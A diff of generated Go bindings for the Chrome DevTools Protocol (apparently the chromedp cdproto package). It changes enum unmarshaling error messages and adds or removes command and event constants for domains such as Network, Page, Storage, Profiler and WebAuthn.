||||
|
||||
@@ -844,8 +841,7 @@ func (t AdFrameType) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *AdFrameType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch AdFrameType(v) {
|
||||
switch AdFrameType(in.String()) {
|
||||
case AdFrameTypeNone:
|
||||
*t = AdFrameTypeNone
|
||||
case AdFrameTypeChild:
|
||||
@@ -854,7 +850,7 @@ func (t *AdFrameType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = AdFrameTypeRoot
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown AdFrameType value: %v", v))
|
||||
in.AddError(errors.New("unknown AdFrameType value"))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -892,8 +888,7 @@ func (t AdFrameExplanation) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *AdFrameExplanation) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch AdFrameExplanation(v) {
|
||||
switch AdFrameExplanation(in.String()) {
|
||||
case AdFrameExplanationParentIsAd:
|
||||
*t = AdFrameExplanationParentIsAd
|
||||
case AdFrameExplanationCreatedByAdScript:
|
||||
@@ -902,7 +897,7 @@ func (t *AdFrameExplanation) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = AdFrameExplanationMatchedBlockingRule
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown AdFrameExplanation value: %v", v))
|
||||
in.AddError(errors.New("unknown AdFrameExplanation value"))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -951,8 +946,7 @@ func (t SecureContextType) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *SecureContextType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch SecureContextType(v) {
|
||||
switch SecureContextType(in.String()) {
|
||||
case SecureContextTypeSecure:
|
||||
*t = SecureContextTypeSecure
|
||||
case SecureContextTypeSecureLocalhost:
|
||||
@@ -963,7 +957,7 @@ func (t *SecureContextType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = SecureContextTypeInsecureAncestor
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown SecureContextType value: %v", v))
|
||||
in.AddError(errors.New("unknown SecureContextType value"))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1002,8 +996,7 @@ func (t CrossOriginIsolatedContextType) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *CrossOriginIsolatedContextType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch CrossOriginIsolatedContextType(v) {
|
||||
switch CrossOriginIsolatedContextType(in.String()) {
|
||||
case CrossOriginIsolatedContextTypeIsolated:
|
||||
*t = CrossOriginIsolatedContextTypeIsolated
|
||||
case CrossOriginIsolatedContextTypeNotIsolated:
|
||||
@@ -1012,7 +1005,7 @@ func (t *CrossOriginIsolatedContextType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = CrossOriginIsolatedContextTypeNotIsolatedFeatureDisabled
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown CrossOriginIsolatedContextType value: %v", v))
|
||||
in.AddError(errors.New("unknown CrossOriginIsolatedContextType value"))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1051,8 +1044,7 @@ func (t GatedAPIFeatures) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *GatedAPIFeatures) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch GatedAPIFeatures(v) {
|
||||
switch GatedAPIFeatures(in.String()) {
|
||||
case GatedAPIFeaturesSharedArrayBuffers:
|
||||
*t = GatedAPIFeaturesSharedArrayBuffers
|
||||
case GatedAPIFeaturesSharedArrayBuffersTransferAllowed:
|
||||
@@ -1063,7 +1055,7 @@ func (t *GatedAPIFeatures) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = GatedAPIFeaturesPerformanceProfile
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown GatedAPIFeatures value: %v", v))
|
||||
in.AddError(errors.New("unknown GatedAPIFeatures value"))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1112,8 +1104,7 @@ func (t OriginTrialTokenStatus) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *OriginTrialTokenStatus) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch OriginTrialTokenStatus(v) {
|
||||
switch OriginTrialTokenStatus(in.String()) {
|
||||
case OriginTrialTokenStatusSuccess:
|
||||
*t = OriginTrialTokenStatusSuccess
|
||||
case OriginTrialTokenStatusNotSupported:
|
||||
@@ -1140,7 +1131,7 @@ func (t *OriginTrialTokenStatus) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = OriginTrialTokenStatusUnknownTrial
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown OriginTrialTokenStatus value: %v", v))
|
||||
in.AddError(errors.New("unknown OriginTrialTokenStatus value"))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1179,8 +1170,7 @@ func (t OriginTrialStatus) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *OriginTrialStatus) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch OriginTrialStatus(v) {
|
||||
switch OriginTrialStatus(in.String()) {
|
||||
case OriginTrialStatusEnabled:
|
||||
*t = OriginTrialStatusEnabled
|
||||
case OriginTrialStatusValidTokenNotProvided:
|
||||
@@ -1191,7 +1181,7 @@ func (t *OriginTrialStatus) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = OriginTrialStatusTrialNotAllowed
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown OriginTrialStatus value: %v", v))
|
||||
in.AddError(errors.New("unknown OriginTrialStatus value"))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1228,15 +1218,14 @@ func (t OriginTrialUsageRestriction) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *OriginTrialUsageRestriction) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch OriginTrialUsageRestriction(v) {
|
||||
switch OriginTrialUsageRestriction(in.String()) {
|
||||
case OriginTrialUsageRestrictionNone:
|
||||
*t = OriginTrialUsageRestrictionNone
|
||||
case OriginTrialUsageRestrictionSubset:
|
||||
*t = OriginTrialUsageRestrictionSubset
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown OriginTrialUsageRestriction value: %v", v))
|
||||
in.AddError(errors.New("unknown OriginTrialUsageRestriction value"))
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
+28
-60
@@ -343,6 +343,8 @@ const (
|
||||
EventFetchRequestPaused = "Fetch.requestPaused"
|
||||
EventFetchAuthRequired = "Fetch.authRequired"
|
||||
CommandHeadlessExperimentalBeginFrame = headlessexperimental.CommandBeginFrame
|
||||
CommandHeadlessExperimentalDisable = headlessexperimental.CommandDisable
|
||||
CommandHeadlessExperimentalEnable = headlessexperimental.CommandEnable
|
||||
CommandHeapProfilerAddInspectedHeapObject = heapprofiler.CommandAddInspectedHeapObject
|
||||
CommandHeapProfilerCollectGarbage = heapprofiler.CommandCollectGarbage
|
||||
CommandHeapProfilerDisable = heapprofiler.CommandDisable
|
||||
@@ -432,6 +434,7 @@ const (
|
||||
CommandNetworkDisable = network.CommandDisable
|
||||
CommandNetworkEmulateNetworkConditions = network.CommandEmulateNetworkConditions
|
||||
CommandNetworkEnable = network.CommandEnable
|
||||
CommandNetworkGetAllCookies = network.CommandGetAllCookies
|
||||
CommandNetworkGetCertificate = network.CommandGetCertificate
|
||||
CommandNetworkGetCookies = network.CommandGetCookies
|
||||
CommandNetworkGetResponseBody = network.CommandGetResponseBody
|
||||
@@ -520,7 +523,6 @@ const (
|
||||
CommandPageGetInstallabilityErrors = page.CommandGetInstallabilityErrors
|
||||
CommandPageGetManifestIcons = page.CommandGetManifestIcons
|
||||
CommandPageGetAppID = page.CommandGetAppID
|
||||
CommandPageGetAdScriptID = page.CommandGetAdScriptID
|
||||
CommandPageGetFrameTree = page.CommandGetFrameTree
|
||||
CommandPageGetLayoutMetrics = page.CommandGetLayoutMetrics
|
||||
CommandPageGetNavigationHistory = page.CommandGetNavigationHistory
|
||||
@@ -542,6 +544,7 @@ const (
|
||||
CommandPageSetFontFamilies = page.CommandSetFontFamilies
|
||||
CommandPageSetFontSizes = page.CommandSetFontSizes
|
||||
CommandPageSetDocumentContent = page.CommandSetDocumentContent
|
||||
CommandPageSetDownloadBehavior = page.CommandSetDownloadBehavior
|
||||
CommandPageSetLifecycleEventsEnabled = page.CommandSetLifecycleEventsEnabled
|
||||
CommandPageStartScreencast = page.CommandStartScreencast
|
||||
CommandPageStopLoading = page.CommandStopLoading
|
||||
@@ -591,9 +594,12 @@ const (
|
||||
CommandProfilerSetSamplingInterval = profiler.CommandSetSamplingInterval
|
||||
CommandProfilerStart = profiler.CommandStart
|
||||
CommandProfilerStartPreciseCoverage = profiler.CommandStartPreciseCoverage
|
||||
CommandProfilerStartTypeProfile = profiler.CommandStartTypeProfile
|
||||
CommandProfilerStop = profiler.CommandStop
|
||||
CommandProfilerStopPreciseCoverage = profiler.CommandStopPreciseCoverage
|
||||
CommandProfilerStopTypeProfile = profiler.CommandStopTypeProfile
|
||||
CommandProfilerTakePreciseCoverage = profiler.CommandTakePreciseCoverage
|
||||
CommandProfilerTakeTypeProfile = profiler.CommandTakeTypeProfile
|
||||
EventProfilerConsoleProfileFinished = "Profiler.consoleProfileFinished"
|
||||
EventProfilerConsoleProfileStarted = "Profiler.consoleProfileStarted"
|
||||
EventProfilerPreciseCoverageDeltaUpdate = "Profiler.preciseCoverageDeltaUpdate"
|
||||
@@ -656,32 +662,21 @@ const (
|
||||
CommandStorageGetUsageAndQuota = storage.CommandGetUsageAndQuota
|
||||
CommandStorageOverrideQuotaForOrigin = storage.CommandOverrideQuotaForOrigin
|
||||
CommandStorageTrackCacheStorageForOrigin = storage.CommandTrackCacheStorageForOrigin
|
||||
CommandStorageTrackCacheStorageForStorageKey = storage.CommandTrackCacheStorageForStorageKey
|
||||
CommandStorageTrackIndexedDBForOrigin = storage.CommandTrackIndexedDBForOrigin
|
||||
CommandStorageTrackIndexedDBForStorageKey = storage.CommandTrackIndexedDBForStorageKey
|
||||
CommandStorageUntrackCacheStorageForOrigin = storage.CommandUntrackCacheStorageForOrigin
|
||||
CommandStorageUntrackCacheStorageForStorageKey = storage.CommandUntrackCacheStorageForStorageKey
|
||||
CommandStorageUntrackIndexedDBForOrigin = storage.CommandUntrackIndexedDBForOrigin
|
||||
CommandStorageUntrackIndexedDBForStorageKey = storage.CommandUntrackIndexedDBForStorageKey
|
||||
CommandStorageGetTrustTokens = storage.CommandGetTrustTokens
|
||||
CommandStorageClearTrustTokens = storage.CommandClearTrustTokens
|
||||
CommandStorageGetInterestGroupDetails = storage.CommandGetInterestGroupDetails
|
||||
CommandStorageSetInterestGroupTracking = storage.CommandSetInterestGroupTracking
|
||||
CommandStorageGetSharedStorageMetadata = storage.CommandGetSharedStorageMetadata
|
||||
CommandStorageGetSharedStorageEntries = storage.CommandGetSharedStorageEntries
|
||||
CommandStorageSetSharedStorageEntry = storage.CommandSetSharedStorageEntry
|
||||
CommandStorageDeleteSharedStorageEntry = storage.CommandDeleteSharedStorageEntry
|
||||
CommandStorageClearSharedStorageEntries = storage.CommandClearSharedStorageEntries
|
||||
CommandStorageResetSharedStorageBudget = storage.CommandResetSharedStorageBudget
|
||||
CommandStorageSetSharedStorageTracking = storage.CommandSetSharedStorageTracking
|
||||
EventStorageCacheStorageContentUpdated = "Storage.cacheStorageContentUpdated"
|
||||
EventStorageCacheStorageListUpdated = "Storage.cacheStorageListUpdated"
|
||||
EventStorageIndexedDBContentUpdated = "Storage.indexedDBContentUpdated"
|
||||
EventStorageIndexedDBListUpdated = "Storage.indexedDBListUpdated"
|
||||
EventStorageInterestGroupAccessed = "Storage.interestGroupAccessed"
|
||||
EventStorageSharedStorageAccessed = "Storage.sharedStorageAccessed"
|
||||
CommandSystemInfoGetInfo = systeminfo.CommandGetInfo
|
||||
CommandSystemInfoGetFeatureState = systeminfo.CommandGetFeatureState
|
||||
CommandSystemInfoGetProcessInfo = systeminfo.CommandGetProcessInfo
|
||||
CommandTargetActivateTarget = target.CommandActivateTarget
|
||||
CommandTargetAttachToTarget = target.CommandAttachToTarget
|
||||
@@ -736,7 +731,6 @@ const (
|
||||
CommandWebAuthnEnable = webauthn.CommandEnable
|
||||
CommandWebAuthnDisable = webauthn.CommandDisable
|
||||
CommandWebAuthnAddVirtualAuthenticator = webauthn.CommandAddVirtualAuthenticator
|
||||
CommandWebAuthnSetResponseOverrideBits = webauthn.CommandSetResponseOverrideBits
|
||||
CommandWebAuthnRemoveVirtualAuthenticator = webauthn.CommandRemoveVirtualAuthenticator
|
||||
CommandWebAuthnAddCredential = webauthn.CommandAddCredential
|
||||
CommandWebAuthnGetCredential = webauthn.CommandGetCredential
|
||||
@@ -745,8 +739,6 @@ const (
|
||||
CommandWebAuthnClearCredentials = webauthn.CommandClearCredentials
|
||||
CommandWebAuthnSetUserVerified = webauthn.CommandSetUserVerified
|
||||
CommandWebAuthnSetAutomaticPresenceSimulation = webauthn.CommandSetAutomaticPresenceSimulation
|
||||
EventWebAuthnCredentialAdded = "WebAuthn.credentialAdded"
|
||||
EventWebAuthnCredentialAsserted = "WebAuthn.credentialAsserted"
|
||||
)
|
||||
|
||||
// Error error type.
|
||||
@@ -1580,6 +1572,12 @@ func UnmarshalMessage(msg *Message) (interface{}, error) {
|
||||
case CommandHeadlessExperimentalBeginFrame:
|
||||
v = new(headlessexperimental.BeginFrameReturns)
|
||||
|
||||
case CommandHeadlessExperimentalDisable:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandHeadlessExperimentalEnable:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandHeapProfilerAddInspectedHeapObject:
|
||||
return emptyVal, nil
|
||||
|
||||
@@ -1847,6 +1845,9 @@ func UnmarshalMessage(msg *Message) (interface{}, error) {
|
||||
case CommandNetworkEnable:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandNetworkGetAllCookies:
|
||||
v = new(network.GetAllCookiesReturns)
|
||||
|
||||
case CommandNetworkGetCertificate:
|
||||
v = new(network.GetCertificateReturns)
|
||||
|
||||
@@ -2111,9 +2112,6 @@ func UnmarshalMessage(msg *Message) (interface{}, error) {
|
||||
case CommandPageGetAppID:
|
||||
v = new(page.GetAppIDReturns)
|
||||
|
||||
case CommandPageGetAdScriptID:
|
||||
v = new(page.GetAdScriptIDReturns)
|
||||
|
||||
case CommandPageGetFrameTree:
|
||||
v = new(page.GetFrameTreeReturns)
|
||||
|
||||
@@ -2177,6 +2175,9 @@ func UnmarshalMessage(msg *Message) (interface{}, error) {
|
||||
case CommandPageSetDocumentContent:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandPageSetDownloadBehavior:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandPageSetLifecycleEventsEnabled:
|
||||
return emptyVal, nil
|
||||
|
||||
@@ -2324,15 +2325,24 @@ func UnmarshalMessage(msg *Message) (interface{}, error) {
|
||||
case CommandProfilerStartPreciseCoverage:
|
||||
v = new(profiler.StartPreciseCoverageReturns)
|
||||
|
||||
case CommandProfilerStartTypeProfile:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandProfilerStop:
|
||||
v = new(profiler.StopReturns)
|
||||
|
||||
case CommandProfilerStopPreciseCoverage:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandProfilerStopTypeProfile:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandProfilerTakePreciseCoverage:
|
||||
v = new(profiler.TakePreciseCoverageReturns)
|
||||
|
||||
case CommandProfilerTakeTypeProfile:
|
||||
v = new(profiler.TakeTypeProfileReturns)
|
||||
|
||||
case EventProfilerConsoleProfileFinished:
|
||||
v = new(profiler.EventConsoleProfileFinished)
|
||||
|
||||
@@ -2519,9 +2529,6 @@ func UnmarshalMessage(msg *Message) (interface{}, error) {
|
||||
case CommandStorageTrackCacheStorageForOrigin:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandStorageTrackCacheStorageForStorageKey:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandStorageTrackIndexedDBForOrigin:
|
||||
return emptyVal, nil
|
||||
|
||||
@@ -2531,9 +2538,6 @@ func UnmarshalMessage(msg *Message) (interface{}, error) {
|
||||
case CommandStorageUntrackCacheStorageForOrigin:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandStorageUntrackCacheStorageForStorageKey:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandStorageUntrackIndexedDBForOrigin:
|
||||
return emptyVal, nil
|
||||
|
||||
@@ -2552,27 +2556,6 @@ func UnmarshalMessage(msg *Message) (interface{}, error) {
|
||||
case CommandStorageSetInterestGroupTracking:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandStorageGetSharedStorageMetadata:
|
||||
v = new(storage.GetSharedStorageMetadataReturns)
|
||||
|
||||
case CommandStorageGetSharedStorageEntries:
|
||||
v = new(storage.GetSharedStorageEntriesReturns)
|
||||
|
||||
case CommandStorageSetSharedStorageEntry:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandStorageDeleteSharedStorageEntry:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandStorageClearSharedStorageEntries:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandStorageResetSharedStorageBudget:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandStorageSetSharedStorageTracking:
|
||||
return emptyVal, nil
|
||||
|
||||
case EventStorageCacheStorageContentUpdated:
|
||||
v = new(storage.EventCacheStorageContentUpdated)
|
||||
|
||||
@@ -2588,15 +2571,9 @@ func UnmarshalMessage(msg *Message) (interface{}, error) {
|
||||
case EventStorageInterestGroupAccessed:
|
||||
v = new(storage.EventInterestGroupAccessed)
|
||||
|
||||
case EventStorageSharedStorageAccessed:
|
||||
v = new(storage.EventSharedStorageAccessed)
|
||||
|
||||
case CommandSystemInfoGetInfo:
|
||||
v = new(systeminfo.GetInfoReturns)
|
||||
|
||||
case CommandSystemInfoGetFeatureState:
|
||||
v = new(systeminfo.GetFeatureStateReturns)
|
||||
|
||||
case CommandSystemInfoGetProcessInfo:
|
||||
v = new(systeminfo.GetProcessInfoReturns)
|
||||
|
||||
@@ -2759,9 +2736,6 @@ func UnmarshalMessage(msg *Message) (interface{}, error) {
|
||||
case CommandWebAuthnAddVirtualAuthenticator:
|
||||
v = new(webauthn.AddVirtualAuthenticatorReturns)
|
||||
|
||||
case CommandWebAuthnSetResponseOverrideBits:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandWebAuthnRemoveVirtualAuthenticator:
|
||||
return emptyVal, nil
|
||||
|
||||
@@ -2786,12 +2760,6 @@ func UnmarshalMessage(msg *Message) (interface{}, error) {
|
||||
case CommandWebAuthnSetAutomaticPresenceSimulation:
|
||||
return emptyVal, nil
|
||||
|
||||
case EventWebAuthnCredentialAdded:
|
||||
v = new(webauthn.EventCredentialAdded)
|
||||
|
||||
case EventWebAuthnCredentialAsserted:
|
||||
v = new(webauthn.EventCredentialAsserted)
|
||||
|
||||
default:
|
||||
return nil, cdp.ErrUnknownCommandOrEvent(msg.Method)
|
||||
}
|
||||
|
||||
-14
@@ -7804,10 +7804,6 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoCss78(in *jlexer.Lexer, out *
|
||||
out.StyleSheetID = StyleSheetID(in.String())
|
||||
case "name":
|
||||
out.Name = string(in.String())
|
||||
case "physicalAxes":
|
||||
(out.PhysicalAxes).UnmarshalEasyJSON(in)
|
||||
case "logicalAxes":
|
||||
(out.LogicalAxes).UnmarshalEasyJSON(in)
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
@@ -7842,16 +7838,6 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoCss78(out *jwriter.Writer, in
|
||||
out.RawString(prefix)
|
||||
out.String(string(in.Name))
|
||||
}
|
||||
if in.PhysicalAxes != "" {
|
||||
const prefix string = ",\"physicalAxes\":"
|
||||
out.RawString(prefix)
|
||||
(in.PhysicalAxes).MarshalEasyJSON(out)
|
||||
}
|
||||
if in.LogicalAxes != "" {
|
||||
const prefix string = ",\"logicalAxes\":"
|
||||
out.RawString(prefix)
|
||||
(in.LogicalAxes).MarshalEasyJSON(out)
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
|
||||
+9
-14
@@ -3,10 +3,9 @@ package css
|
||||
// Code generated by cdproto-gen. DO NOT EDIT.
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"errors"
|
||||
|
||||
"github.com/chromedp/cdproto/cdp"
|
||||
"github.com/chromedp/cdproto/dom"
|
||||
"github.com/mailru/easyjson"
|
||||
"github.com/mailru/easyjson/jlexer"
|
||||
"github.com/mailru/easyjson/jwriter"
|
||||
@@ -55,8 +54,7 @@ func (t StyleSheetOrigin) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *StyleSheetOrigin) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch StyleSheetOrigin(v) {
|
||||
switch StyleSheetOrigin(in.String()) {
|
||||
case StyleSheetOriginInjected:
|
||||
*t = StyleSheetOriginInjected
|
||||
case StyleSheetOriginUserAgent:
|
||||
@@ -67,7 +65,7 @@ func (t *StyleSheetOrigin) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = StyleSheetOriginRegular
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown StyleSheetOrigin value: %v", v))
|
||||
in.AddError(errors.New("unknown StyleSheetOrigin value"))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -262,12 +260,10 @@ type MediaQueryExpression struct {
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-CSSContainerQuery
|
||||
type ContainerQuery struct {
|
||||
Text string `json:"text"` // Container query text.
|
||||
Range *SourceRange `json:"range,omitempty"` // The associated rule header range in the enclosing stylesheet (if available).
|
||||
StyleSheetID StyleSheetID `json:"styleSheetId,omitempty"` // Identifier of the stylesheet containing this object (if exists).
|
||||
Name string `json:"name,omitempty"` // Optional name for the container.
|
||||
PhysicalAxes dom.PhysicalAxes `json:"physicalAxes,omitempty"` // Optional physical axes queried for the container.
|
||||
LogicalAxes dom.LogicalAxes `json:"logicalAxes,omitempty"` // Optional logical axes queried for the container.
|
||||
Text string `json:"text"` // Container query text.
|
||||
Range *SourceRange `json:"range,omitempty"` // The associated rule header range in the enclosing stylesheet (if available).
|
||||
StyleSheetID StyleSheetID `json:"styleSheetId,omitempty"` // Identifier of the stylesheet containing this object (if exists).
|
||||
Name string `json:"name,omitempty"` // Optional name for the container.
|
||||
}
|
||||
|
||||
// Supports CSS Supports at-rule descriptor.
|
||||
@@ -409,8 +405,7 @@ func (t MediaSource) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *MediaSource) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch MediaSource(v) {
|
||||
switch MediaSource(in.String()) {
|
||||
case MediaSourceMediaRule:
|
||||
*t = MediaSourceMediaRule
|
||||
case MediaSourceImportRule:
|
||||
@@ -421,7 +416,7 @@ func (t *MediaSource) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = MediaSourceInlineSheet
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown MediaSource value: %v", v))
|
||||
in.AddError(errors.New("unknown MediaSource value"))
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
+4
-4
@@ -953,15 +953,15 @@ func (p *SetBreakpointsActiveParams) Do(ctx context.Context) (err error) {
|
||||
}
|
||||
|
||||
// SetPauseOnExceptionsParams defines pause on exceptions state. Can be set
|
||||
// to stop on all exceptions, uncaught exceptions, or caught exceptions, no
|
||||
// exceptions. Initial pause on exceptions state is none.
|
||||
// to stop on all exceptions, uncaught exceptions or no exceptions. Initial
|
||||
// pause on exceptions state is none.
|
||||
type SetPauseOnExceptionsParams struct {
|
||||
State ExceptionsState `json:"state"` // Pause on exceptions mode.
|
||||
}
|
||||
|
||||
// SetPauseOnExceptions defines pause on exceptions state. Can be set to stop
|
||||
// on all exceptions, uncaught exceptions, or caught exceptions, no exceptions.
|
||||
// Initial pause on exceptions state is none.
|
||||
// on all exceptions, uncaught exceptions or no exceptions. Initial pause on
|
||||
// exceptions state is none.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Debugger#method-setPauseOnExceptions
|
||||
//
|
||||
|
||||
+21
-34
@@ -3,7 +3,7 @@ package debugger
|
||||
// Code generated by cdproto-gen. DO NOT EDIT.
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"errors"
|
||||
|
||||
"github.com/chromedp/cdproto/runtime"
|
||||
"github.com/mailru/easyjson"
|
||||
@@ -136,15 +136,14 @@ func (t ScriptLanguage) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *ScriptLanguage) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch ScriptLanguage(v) {
|
||||
switch ScriptLanguage(in.String()) {
|
||||
case ScriptLanguageJavaScript:
|
||||
*t = ScriptLanguageJavaScript
|
||||
case ScriptLanguageWebAssembly:
|
||||
*t = ScriptLanguageWebAssembly
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown ScriptLanguage value: %v", v))
|
||||
in.AddError(errors.New("unknown ScriptLanguage value"))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -197,8 +196,7 @@ func (t ScopeType) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *ScopeType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch ScopeType(v) {
|
||||
switch ScopeType(in.String()) {
|
||||
case ScopeTypeGlobal:
|
||||
*t = ScopeTypeGlobal
|
||||
case ScopeTypeLocal:
|
||||
@@ -221,7 +219,7 @@ func (t *ScopeType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = ScopeTypeWasmExpressionStack
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown ScopeType value: %v", v))
|
||||
in.AddError(errors.New("unknown ScopeType value"))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -259,8 +257,7 @@ func (t BreakLocationType) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *BreakLocationType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch BreakLocationType(v) {
|
||||
switch BreakLocationType(in.String()) {
|
||||
case BreakLocationTypeDebuggerStatement:
|
||||
*t = BreakLocationTypeDebuggerStatement
|
||||
case BreakLocationTypeCall:
|
||||
@@ -269,7 +266,7 @@ func (t *BreakLocationType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = BreakLocationTypeReturn
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown BreakLocationType value: %v", v))
|
||||
in.AddError(errors.New("unknown BreakLocationType value"))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -308,8 +305,7 @@ func (t DebugSymbolsType) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *DebugSymbolsType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch DebugSymbolsType(v) {
|
||||
switch DebugSymbolsType(in.String()) {
|
||||
case DebugSymbolsTypeNone:
|
||||
*t = DebugSymbolsTypeNone
|
||||
case DebugSymbolsTypeSourceMap:
|
||||
@@ -320,7 +316,7 @@ func (t *DebugSymbolsType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = DebugSymbolsTypeExternalDWARF
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown DebugSymbolsType value: %v", v))
|
||||
in.AddError(errors.New("unknown DebugSymbolsType value"))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -367,8 +363,7 @@ func (t PausedReason) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *PausedReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch PausedReason(v) {
|
||||
switch PausedReason(in.String()) {
|
||||
case PausedReasonAmbiguous:
|
||||
*t = PausedReasonAmbiguous
|
||||
case PausedReasonAssert:
|
||||
